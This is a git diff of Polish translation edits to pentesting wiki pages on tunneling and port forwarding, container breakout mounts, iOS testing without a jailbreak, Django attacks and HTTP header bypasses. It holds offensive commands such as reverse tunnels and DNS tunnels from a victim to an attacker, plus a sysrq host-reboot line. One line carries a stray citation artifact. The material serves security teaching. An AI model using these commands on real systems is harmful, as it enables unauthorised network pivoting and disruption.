diff --git a/src/generic-hacking/tunneling-and-port-forwarding.md b/src/generic-hacking/tunneling-and-port-forwarding.md index dc410829f..e2ea4fc74 100644 --- a/src/generic-hacking/tunneling-and-port-forwarding.md +++ b/src/generic-hacking/tunneling-and-port-forwarding.md @@ -68,7 +68,7 @@ ssh -i dmz_key -R :443:0.0.0.0:7000 root@10.129.203.111 -vN ``` ### VPN-Tunnel -Potrzebujesz **roota na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ +Musisz mieć **root na obu urządzeniach** (ponieważ zamierzasz utworzyć nowe interfejsy) i konfiguracja sshd musi zezwalać na logowanie jako root:\ `PermitRootLogin yes`\ `PermitTunnel yes` ```bash @@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1 ``` > [!NOTE] > **Bezpieczeństwo – Atak Terrapin (CVE-2023-48795)** -> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'iem SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH. +> Atak degradacyjny Terrapin z 2023 roku może pozwolić atakującemu typu man-in-the-middle na manipulację wczesnym handshake'em SSH i wstrzykiwanie danych do **dowolnego przekazywanego kanału** ( `-L`, `-R`, `-D` ). Upewnij się, że zarówno klient, jak i serwer są załatane (**OpenSSH ≥ 9.6/LibreSSH 6.7**) lub wyraźnie wyłącz podatne algorytmy `chacha20-poly1305@openssh.com` i `*-etm@openssh.com` w `sshd_config`/`ssh_config`, zanim polegasz na tunelach SSH. ## SSHUTTLE Możesz **tunelować** przez **ssh** cały **ruch** do **podsieci** przez hosta.\ -Na przykład, przekazywanie całego ruchu idącego do 10.10.10.0/24 +Na przykład, przekazywanie całego ruchu kierowanego do 10.10.10.0/24 ```bash pip install sshuttle sshuttle -r user@host 10.10.10.10/24 @@ -149,7 +149,7 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25 ### rPort2Port > [!WARNING] -> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego host:port +> W tym przypadku **port jest otwarty na hoście beacon**, a nie na serwerze Team Server, a ruch jest wysyłany do serwera Team Server, a stamtąd do wskazanego hosta:port ```bash rportfwd [bind port] [forward host] [forward port] rportfwd stop [bind port] @@ -324,9 +324,9 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o ``` ## Plink.exe -To jak wersja konsolowa PuTTY (opcje są bardzo podobne do klienta ssh). +To jak konsolowa wersja PuTTY (opcje są bardzo podobne do klienta ssh). -Ponieważ ten plik binarny będzie uruchamiany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie: +Ponieważ ten plik binarny będzie wykonywany na ofierze i jest klientem ssh, musimy otworzyć naszą usługę ssh i port, abyśmy mogli uzyskać połączenie zwrotne. Następnie, aby przekierować tylko lokalnie dostępny port na port w naszej maszynie: ```bash echo y | plink.exe -l -pw [-p ] -R :: echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 @@ -350,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 Musisz mieć **dostęp RDP do systemu**.\ Pobierz: -1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC odpowiada za **tunneling pakietów przez połączenie RDP**. +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - To narzędzie wykorzystuje `Dynamic Virtual Channels` (`DVC`) z funkcji Zdalnego Pulpitu w systemie Windows. DVC jest odpowiedzialne za **tunneling pakietów przez połączenie RDP**. 2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten sposób: @@ -358,7 +358,7 @@ Na swoim komputerze klienckim załaduj **`SocksOverRDP-Plugin.dll`** w ten spos # Load SocksOverRDP.dll using regsvr32.exe C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll ``` -Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **plugin SocksOverRDP jest włączony**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. +Teraz możemy **połączyć** się z **ofiarą** za pomocą **RDP** używając **`mstsc.exe`**, i powinniśmy otrzymać **komunikat** informujący, że **wtyczka SocksOverRDP jest włączona**, i będzie **nasłuchiwać** na **127.0.0.1:1080**. **Połącz** się przez **RDP** i prześlij oraz uruchom na maszynie ofiary plik binarny `SocksOverRDP-Server.exe`: ``` @@ -368,18 +368,18 @@ Teraz potwierdź na swoim urządzeniu (atakującym), że port 1080 nasłuchuje: ``` netstat -antb | findstr 1080 ``` -Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxyfikacji ruchu przez ten port.** +Teraz możesz użyć [**Proxifier**](https://www.proxifier.com/) **do proxy'owania ruchu przez ten port.** -## Proxyfikacja aplikacji GUI w Windows +## Proxify aplikacje GUI Windows -Możesz sprawić, że aplikacje GUI w Windows będą korzystać z proxy za pomocą [**Proxifier**](https://www.proxifier.com/).\ +Możesz sprawić, że aplikacje GUI Windows będą korzystać z proxy, używając [**Proxifier**](https://www.proxifier.com/).\ W **Profile -> Proxy Servers** dodaj IP i port serwera SOCKS.\ -W **Profile -> Proxification Rules** dodaj nazwę programu do proxyfikacji oraz połączenia do IP, które chcesz proxyfikować. +W **Profile -> Proxification Rules** dodaj nazwę programu do proxy'owania oraz połączenia do IP, które chcesz proxy'ować. ## Ominięcie proxy NTLM Wcześniej wspomniane narzędzie: **Rpivot**\ -**OpenVPN** może również to obejść, ustawiając te opcje w pliku konfiguracyjnym: +**OpenVPN** również może to obejść, ustawiając te opcje w pliku konfiguracyjnym: ```bash http-proxy 8080 ntlm ``` @@ -396,7 +396,7 @@ Domain CONTOSO.COM Proxy 10.0.0.10:8080 Tunnel 2222::443 ``` -Teraz, jeśli na przykład ustawisz na ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ +Teraz, jeśli ustawisz na przykład w ofierze usługę **SSH** do nasłuchiwania na porcie 443. Możesz się z nią połączyć przez port atakującego 2222.\ Możesz również użyć **meterpreter**, który łączy się z localhost:443, a atakujący nasłuchuje na porcie 2222. ## YARP @@ -409,7 +409,7 @@ Odwrócony proxy stworzony przez Microsoft. Możesz go znaleźć tutaj: [https:/ [https://code.kryo.se/iodine/](https://code.kryo.se/iodine/) -Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i tunelować dane między nimi za pomocą zapytań DNS. +Root jest potrzebny w obu systemach, aby utworzyć adaptery tunelowe i przesyłać dane między nimi za pomocą zapytań DNS. ``` attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com victim> iodine -f -P P@ssw0rd tunneldomain.com -r @@ -446,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b ``` #### Zmień DNS w proxychains -Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnie serwer DNS, który używa proxychains, to **4.2.2.2** (wpisany na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**. +Proxychains przechwytuje wywołanie `gethostbyname` w libc i tuneluje zapytania DNS tcp przez proxy socks. Domyślnym serwerem DNS, którego używa proxychains, jest **4.2.2.2** (wpisane na stałe). Aby go zmienić, edytuj plik: _/usr/lib/proxychains3/proxyresolv_ i zmień adres IP. Jeśli jesteś w **środowisku Windows**, możesz ustawić adres IP **kontrolera domeny**. ## Tunelowanie w Go @@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1 ## ngrok [**ngrok**](https://ngrok.com/) **to narzędzie do eksponowania rozwiązań w Internecie w jednej linii poleceń.**\ -_Adresy URI ekspozycji są jak:_ **UID.ngrok.io** +_URI eksponowania wygląda jak:_ **UID.ngrok.io** ### Instalacja @@ -574,11 +574,11 @@ Rozpocznij łącznik: ```bash cloudflared tunnel run mytunnel ``` -Ponieważ cały ruch opuszcza host **wychodzący przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe. +Ponieważ cały ruch opuszcza hosta **wychodząc przez 443**, tunelowanie Cloudflared to prosty sposób na obejście ACL-ów przychodzących lub granic NAT. Należy pamiętać, że binarka zazwyczaj działa z podwyższonymi uprawnieniami – używaj kontenerów lub flagi `--user`, gdy to możliwe. ## FRP (Fast Reverse Proxy) -[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)**, może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka. +[`frp`](https://github.com/fatedier/frp) to aktywnie utrzymywany proxy odwrotne w Go, które obsługuje **TCP, UDP, HTTP/S, SOCKS i P2P NAT-hole-punching**. Począwszy od **v0.53.0 (maj 2024)** może działać jako **SSH Tunnel Gateway**, dzięki czemu docelowy host może uruchomić odwrotny tunel, używając tylko standardowego klienta OpenSSH – nie jest wymagana dodatkowa binarka. ### Klasyczny odwrotny tunel TCP ```bash diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md index 0acd5633d..8ab7b4b49 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md @@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Sprawdź dostęp do modprobe #### **`/proc/sys/vm/panic_on_oom`** - Odniesione w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). -- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy występuje warunek OOM. +- Globalny flag, który kontroluje, czy jądro panikuje, czy wywołuje OOM killer, gdy wystąpi warunek OOM. #### **`/proc/sys/fs`** @@ -89,7 +89,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta #### **`/proc/kallsyms`** - Wymienia eksportowane symbole jądra i ich adresy. -- Kluczowe dla rozwoju exploitów jądra, szczególnie w celu pokonania KASLR. +- Niezbędne do rozwoju exploitów jądra, szczególnie w celu pokonania KASLR. - Informacje o adresach są ograniczone, gdy `kptr_restrict` jest ustawione na `1` lub `2`. - Szczegóły w [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html). @@ -109,7 +109,7 @@ echo b > /proc/sysrq-trigger # Ponownie uruchamia hosta #### **`/proc/kmem`** - Alternatywny interfejs dla `/dev/kmem`, reprezentujący wirtualną pamięć jądra. -- Umożliwia odczyt i zapis, a tym samym bezpośrednią modyfikację pamięci jądra. +- Umożliwia odczyt i zapis, a zatem bezpośrednią modyfikację pamięci jądra. #### **`/proc/mem`** @@ -293,7 +293,7 @@ Mounting certain host Unix sockets or writable pseudo-filesystems is equivalent ```text /run/containerd/containerd.sock # gniazdo CRI containerd /var/run/crio/crio.sock # gniazdo runtime CRI-O -/run/podman/podman.sock # API Podman (z uprawnieniami root lub bez) +/run/podman/podman.sock # API Podman (z uprawnieniami lub bez) /var/run/kubelet.sock # API Kubelet na węzłach Kubernetes /run/firecracker-containerd.sock # Kata / Firecracker ``` diff --git a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md index 75c309edc..df6ae7a6c 100644 --- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md +++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md @@ -4,7 +4,7 @@ ## Główna idea -Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom stron trzecich uruchomić funkcję **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argument, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci). +Aplikacje podpisane z **uprawnieniem `get_task_allow`** pozwalają aplikacjom innych firm na uruchomienie funkcji **`task_for_pid()`** z identyfikatorem procesu początkowej aplikacji jako argumentem, aby uzyskać port zadania nad nią (móc ją kontrolować i uzyskać dostęp do jej pamięci). Jednak nie jest to tak proste, jak po prostu pobranie IPA, ponowne podpisanie go z uprawnieniem i wgranie z powrotem na urządzenie. Dzieje się tak z powodu ochrony FairPlay. Gdy podpis aplikacji się zmienia, klucz DRM (Digital Rights Management) jest **unieważniony i aplikacja nie będzie działać**. @@ -63,28 +63,28 @@ ideviceinstaller -i resigned.ipa -w ### Włącz tryb dewelopera (iOS 16+) -Od iOS 16 Apple wprowadziło **Tryb Dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem dewelopera, odmówi uruchomienia, dopóki Tryb Dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony. +Od iOS 16 Apple wprowadziło **Tryb dewelopera**: każdy binarny plik, który zawiera `get_task_allow` *lub* jest podpisany certyfikatem deweloperskim, odmówi uruchomienia, dopóki tryb dewelopera nie zostanie włączony na urządzeniu. Nie będziesz również mógł dołączyć Frida/LLDB, chyba że ten flag jest włączony. -1. Zainstaluj lub wgraj **dowolny** IPA podpisany przez dewelopera na telefon. +1. Zainstaluj lub wgraj **dowolny** podpisany przez dewelopera plik IPA na telefon. 2. Przejdź do **Ustawienia → Prywatność i bezpieczeństwo → Tryb dewelopera** i włącz go. -3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** Trybu Dewelopera. +3. Urządzenie zrestartuje się; po wprowadzeniu kodu dostępu zostaniesz poproszony o **Włączenie** trybu dewelopera. -Tryb Dewelopera pozostaje aktywny, dopóki go nie wyłączysz lub nie wyczyścisz telefonu, więc ten krok należy wykonać tylko raz na urządzenie. [Dokumentacja Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) wyjaśnia implikacje bezpieczeństwa. +Tryb dewelopera pozostaje aktywny, dopóki go nie wyłączysz lub nie wyczyścisz telefonu, więc ten krok należy wykonać tylko raz na urządzenie. [Dokumentacja Apple](https://developer.apple.com/documentation/xcode/enabling-developer-mode-on-a-device) wyjaśnia implikacje bezpieczeństwa. ### Nowoczesne opcje sideloadingu -Obecnie istnieje kilka dojrzałych sposobów na sideloading i utrzymywanie aktualnych IPA z ponownym podpisywaniem bez jailbreaka: +Obecnie istnieje kilka dojrzałych sposobów na sideloading i utrzymywanie podpisanych plików IPA na bieżąco bez jailbreaka: | Narzędzie | Wymagania | Mocne strony | Ograniczenia | |-----------|-----------|--------------|--------------| -| **AltStore 2 / SideStore** | macOS/Windows/Linux jako towarzysz, który ponownie podpisuje IPA co 7 dni z darmowym profilem dewelopera | Automatyczne przeładowanie przez Wi-Fi, działa do iOS 17 | Wymaga komputera w tej samej sieci, limit 3 aplikacji narzucony przez Apple | -| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak komputera wymagany po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) | +| **AltStore 2 / SideStore** | macOS/Windows/Linux jako towarzysz, który podpisuje IPA co 7 dni za pomocą darmowego profilu dewelopera | Automatyczne przeładowanie przez Wi-Fi, działa do iOS 17 | Wymaga komputera w tej samej sieci, limit 3 aplikacji nałożony przez Apple | +| **TrollStore 1/2** | Urządzenie na iOS 14 – 15.4.1 podatne na błąd CoreTrust | *Permanentne* podpisywanie (brak limitu 7 dni); brak potrzeby komputera po zainstalowaniu | Nieobsługiwane na iOS 15.5+ (błąd naprawiony) | -Dla rutynowych pentestów na aktualnych wersjach iOS Alt/Side-Store są zazwyczaj najbardziej praktycznym wyborem. +Dla rutynowych testów pentestowych na aktualnych wersjach iOS Alt/Side-Store są zazwyczaj najbardziej praktycznym wyborem. ### Hooking / dynamiczna instrumentacja -Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** Tryb Dewelopera jest włączony: +Możesz podłączyć swoją aplikację dokładnie tak, jak na urządzeniu z jailbreakiem, gdy jest podpisana z `get_task_allow` **i** tryb dewelopera jest włączony: ```bash # Spawn & attach with objection objection -g "com.example.target" explore @@ -94,9 +94,9 @@ frida -U -f com.example.target -l my_script.js --no-pause ``` Najnowsze wydania Frida (>=16) automatycznie obsługują uwierzytelnianie wskaźników i inne środki zaradcze iOS 17, więc większość istniejących skryptów działa od razu. -### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreaka) +### Zautomatyzowana analiza dynamiczna z MobSF (bez jailbreak) -[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`) i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【turn6view0†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB: +[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) może instrumentować IPA podpisane przez dewelopera na prawdziwym urządzeniu, używając tej samej techniki (`get_task_allow`), i zapewnia interfejs webowy z przeglądarką systemu plików, przechwytywaniem ruchu i konsolą Frida【turn6view0†L2-L3】. Najszybszym sposobem jest uruchomienie MobSF w Dockerze, a następnie podłączenie iPhone'a przez USB: ```bash docker pull opensecurity/mobile-security-framework-mobsf:latest docker run -p 8000:8000 --privileged \ @@ -104,14 +104,14 @@ docker run -p 8000:8000 --privileged \ opensecurity/mobile-security-framework-mobsf:latest # Browse to http://127.0.0.1:8000 and upload your resigned IPA ``` -MobSF automatycznie wdroży binarny plik, włączy serwer Frida w sandboxie aplikacji i wygeneruje interaktywny raport. +MobSF automatycznie wdroży binarny plik, włączy serwer Frida wewnątrz piaskownicy aplikacji i wygeneruje interaktywny raport. ### iOS 17 i uwagi dotyczące trybu blokady * **Tryb blokady** (Ustawienia → Prywatność i bezpieczeństwo) blokuje dynamiczny linker przed ładowaniem niesygnowanych lub zewnętrznie sygnowanych bibliotek dynamicznych. Podczas testowania urządzeń, które mogą mieć włączony ten tryb, upewnij się, że jest **wyłączony**, inaczej sesje Frida/objection zakończą się natychmiast. * Uwierzytelnianie wskaźników (PAC) jest egzekwowane w całym systemie na urządzeniach A12 i nowszych. Frida ≥16 transparentnie obsługuje usuwanie PAC — wystarczy, że będziesz na bieżąco aktualizować zarówno *frida-server*, jak i narzędzia Python/CLI, gdy pojawi się nowa główna wersja iOS. -## Odniesienia +## Referencje - [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) - Dokumentacja dewelopera Apple – Włączanie trybu dewelopera na urządzeniu: diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md index 8f34cd6a0..4c66272fb 100644 --- a/src/network-services-pentesting/pentesting-web/django.md +++ b/src/network-services-pentesting/pentesting-web/django.md @@ -1,13 +1,13 @@ # Django -{{#include /banners/hacktricks-training.md}} +{{#include /src/banners/hacktricks-training.md}} ## Manipulacja pamięcią podręczną do RCE Domyślną metodą przechowywania pamięci podręcznej w Django są [Python pickles](https://docs.python.org/3/library/pickle.html), co może prowadzić do RCE, jeśli [niezaufany input jest odpakowywany](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Jeśli atakujący uzyska dostęp do zapisu w pamięci podręcznej, może eskalować tę podatność do RCE na serwerze bazowym**. Pamięć podręczna Django jest przechowywana w jednym z czterech miejsc: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [pamięci](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [plikach](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) lub w [bazie danych](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Pamięć podręczna przechowywana na serwerze Redis lub w bazie danych jest najbardziej prawdopodobnym wektorem ataku (iniekcja Redis i iniekcja SQL), ale atakujący może również wykorzystać pamięć podręczną opartą na plikach, aby przekształcić dowolny zapis w RCE. Utrzymujący oznaczyli to jako problem, który nie wymaga uwagi. Ważne jest, aby zauważyć, że folder plików pamięci podręcznej, nazwa tabeli SQL i szczegóły serwera Redis będą się różnić w zależności od implementacji. -Ten raport HackerOne dostarcza świetnego, powtarzalnego przykładu wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436 +Ten raport HackerOne dostarcza świetny, powtarzalny przykład wykorzystania pamięci podręcznej Django przechowywanej w bazie danych SQLite: https://hackerone.com/reports/1415436 --- @@ -65,8 +65,8 @@ Wyślij wynikowe ciasteczko, a ładunek działa z uprawnieniami pracownika WSGI. --- ## Ostatnie (2023-2025) Wysokiego Wpływu CVE Django, które powinni sprawdzić pentesterzy -* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieucieczone `request.path`* (naprawione 4 czerwca 2025). Pozwala atakującym na przemycanie nowych linii/kodów ANSI do plików logów i zanieczyszczanie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2. -* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonywać dowolne SQL. Naprawione w 4.2.15 / 5.0.8. +* **CVE-2025-48432** – *Wstrzykiwanie logów przez nieescapowany `request.path`* (naprawione 4 czerwca 2025). Umożliwia atakującym wprowadzenie nowych linii/kodów ANSI do plików dziennika i zanieczyszczenie analizy logów w dół. Poziom łaty ≥ 4.2.22 / 5.1.10 / 5.2.2. +* **CVE-2024-42005** – *Krytyczne wstrzykiwanie SQL* w `QuerySet.values()/values_list()` na `JSONField` (CVSS 9.8). Twórz klucze JSON, aby wydostać się z cytatów i wykonać dowolne SQL. Naprawione w 4.2.15 / 5.0.8. Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Frame-Options` lub hasha `/static/admin/css/base.css` i testuj powyższe tam, gdzie to możliwe. @@ -76,4 +76,4 @@ Zawsze identyfikuj dokładną wersję frameworka za pomocą strony błędu `X-Fr * Wydanie zabezpieczeń Django – "Django 5.2.2, 5.1.10, 4.2.22 adresuje CVE-2025-48432" – 4 czerwca 2025. * OP-Innovate: "Django wydaje aktualizacje zabezpieczeń w celu rozwiązania problemu z wstrzykiwaniem SQL CVE-2024-42005" – 11 sierpnia 2024. -{{#include /banners/hacktricks-training.md}} +{{#include /src/banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index a533d90ed..dbcf5554d 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -58,10 +58,10 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania - **`X-Cache`** w odpowiedzi może mieć wartość **`miss`**, gdy żądanie nie zostało zapisane w pamięci podręcznej, oraz wartość **`hit`**, gdy jest zapisane w pamięci podręcznej - Podobne zachowanie w nagłówku **`Cf-Cache-Status`** -- **`Cache-Control`** wskazuje, czy zasób jest zapisywany w pamięci podręcznej i kiedy będzie następny raz zapisywany: `Cache-Control: public, max-age=1800` +- **`Cache-Control`** wskazuje, czy zasób jest przechowywany w pamięci podręcznej i kiedy zasób zostanie ponownie zapisany w pamięci podręcznej: `Cache-Control: public, max-age=1800` - **`Vary`** jest często używane w odpowiedzi do **wskazania dodatkowych nagłówków**, które są traktowane jako **część klucza pamięci podręcznej**, nawet jeśli normalnie nie są kluczowane. - **`Age`** definiuje czas w sekundach, przez jaki obiekt był w pamięci podręcznej proxy. -- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był zapisany w pamięci podręcznej +- **`Server-Timing: cdn-cache; desc=HIT`** również wskazuje, że zasób był przechowywany w pamięci podręcznej {{#ref}} ../../pentesting-web/cache-deception/ @@ -90,14 +90,14 @@ Nagłówek hop-by-hop to nagłówek, który jest zaprojektowany do przetwarzania ## Informacje o ciele wiadomości -- **`Content-Length`:** Rozmiar zasobu, w dziesiętnej liczbie bajtów. +- **`Content-Length`:** Rozmiar zasobu, w dziesiętnych bajtach. - **`Content-Type`**: Wskazuje typ mediów zasobu - **`Content-Encoding`**: Używane do określenia algorytmu kompresji. -- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnych preferencji językowych. +- **`Content-Language`**: Opisuje język(languages) przeznaczony dla odbiorców, aby umożliwić użytkownikowi różnicowanie według własnego preferowanego języka. - **`Content-Location`**: Wskazuje alternatywną lokalizację dla zwróconych danych. -Z punktu widzenia pentestów te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\ -Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawnić zawartość strony za pomocą żądań HEAD: +Z punktu widzenia pentestu te informacje są zazwyczaj "bezużyteczne", ale jeśli zasób jest **chroniony** przez 401 lub 403 i możesz znaleźć jakiś **sposób** na **uzyskanie** tych **informacji**, może to być **interesujące.**\ +Na przykład kombinacja **`Range`** i **`Etag`** w żądaniu HEAD może ujawniać zawartość strony za pomocą żądań HEAD: - Żądanie z nagłówkiem `Range: bytes=20-20` i odpowiedzią zawierającą `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` ujawnia, że SHA1 bajtu 20 to `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` @@ -181,23 +181,23 @@ Strict-Transport-Security: max-age=3153600 ``` ## Header Name Casing Bypass -HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry zabezpieczeń lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją. +HTTP/1.1 definiuje nazwy pól nagłówków jako **niezależne od wielkości liter** (RFC 9110 §5.1). Niemniej jednak, bardzo często można spotkać niestandardowe oprogramowanie pośredniczące, filtry bezpieczeństwa lub logikę biznesową, które porównują *dosłowną* nazwę nagłówka bez wcześniejszego normalizowania wielkości liter (np. `header.equals("CamelExecCommandExecutable")`). Jeśli te kontrole są przeprowadzane **z uwzględnieniem wielkości liter**, atakujący może je obejść, po prostu wysyłając ten sam nagłówek z inną kapitalizacją. Typowe sytuacje, w których pojawia się ten błąd: -* Niestandardowe listy dozwolonych/zabronionych, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu. +* Niestandardowe listy dozwolone/zakazane, które próbują zablokować „niebezpieczne” wewnętrzne nagłówki, zanim żądanie dotrze do wrażliwego komponentu. * Wewnętrzne implementacje pseudo-nagłówków reverse-proxy (np. sanitizacja `X-Forwarded-For`). -* Frameworki, które udostępniają punkty końcowe zarządzania/debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń. +* Frameworki, które udostępniają punkty końcowe zarządzania / debugowania i polegają na nazwach nagłówków do uwierzytelniania lub wyboru poleceń. ### Abusing the bypass 1. Zidentyfikuj nagłówek, który jest filtrowany lub walidowany po stronie serwera (na przykład, poprzez przeglądanie kodu źródłowego, dokumentacji lub komunikatów o błędach). -2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu użytkownika, wrażliwa kontrola może zostać pominięta. +2. Wyślij **ten sam nagłówek z inną wielkością liter** (mieszana wielkość liter lub wielkie litery). Ponieważ stosy HTTP zazwyczaj kanonizują nagłówki tylko *po* wykonaniu kodu 